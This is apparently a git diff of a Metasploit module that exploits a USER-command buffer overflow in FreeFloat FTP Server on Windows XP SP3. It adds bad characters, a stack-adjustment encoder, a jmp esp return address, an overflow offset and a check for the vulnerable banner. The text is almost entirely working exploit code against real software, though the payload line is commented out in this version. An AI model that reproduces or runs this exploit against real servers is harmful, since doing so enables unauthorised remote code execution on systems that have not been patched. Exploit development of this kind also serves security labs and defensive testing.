10
10
class Metasploit4 < Msf ::Exploit ::Remote
11
11
Rank = LowRanking
12
12
13
+ include Msf ::Exploit ::Remote ::Tcp
13
14
include Msf ::Exploit ::Remote ::Ftp
14
15
15
16
def initialize ( info = { } )
@@ -33,16 +34,17 @@ def initialize(info = {})
33
34
'Payload' =>
34
35
{
35
36
'Space' => 500 ,
36
- # 'DisableNops' => true,
37
- # 'BadChars' => "\x00\x0a\x0d\x20\x5c",
38
- # 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
37
+ 'DisableNops' => true ,
38
+ 'BadChars' => "\x00 \x0a \x0d \x20 \x5c " ,
39
+ 'PrependEncoder' => "\x81 \xc4 \x54 \xf2 \xff \xff " # Stack adjustment # add esp, -3500
39
40
} ,
40
41
'Targets' =>
41
42
[
42
43
[ 'Windows XP SP3' ,
43
44
{
44
- 'Ret' => 0x7E379353 , # jmp esp from C:\Program Files\PMSystem\Temp\tmp0.dll
45
- 'Offset' => 228
45
+ 'Ret' => 0x7cb41020 , # jmp esp
46
+ #'Ret' => 0xDEADBEEF,
47
+ 'Offset' => 230
46
48
}
47
49
] ,
48
50
] ,
@@ -54,10 +56,23 @@ def initialize(info = {})
54
56
] , self . class )
55
57
end
56
58
59
+ def check
60
+ connect
61
+ disconnect
62
+ print_status ( banner )
63
+ if ( banner =~ /220 FreeFloat Ftp Server (Version 1.00)/ )
64
+ return Exploit ::CheckCode ::Vulnerable
65
+ end
66
+ return Exploit ::CheckCode ::Safe
67
+ end
68
+
57
69
def exploit
58
70
connect
59
- buf = pattern_create ( 300 )
60
- send_cmd ( [ 'USER ' , buf ] , false )
71
+ buf = rand_text ( target [ 'Offset' ] )
72
+ buf << [ target [ 'Ret' ] ] . pack ( 'V' )
73
+ #buf << payload.encoded
74
+ raw_send ( "USER #{ buf } \r \n " )
75
+ #send_user(buf)
61
76
disconnect
62
77
end
63
78
0 commit comments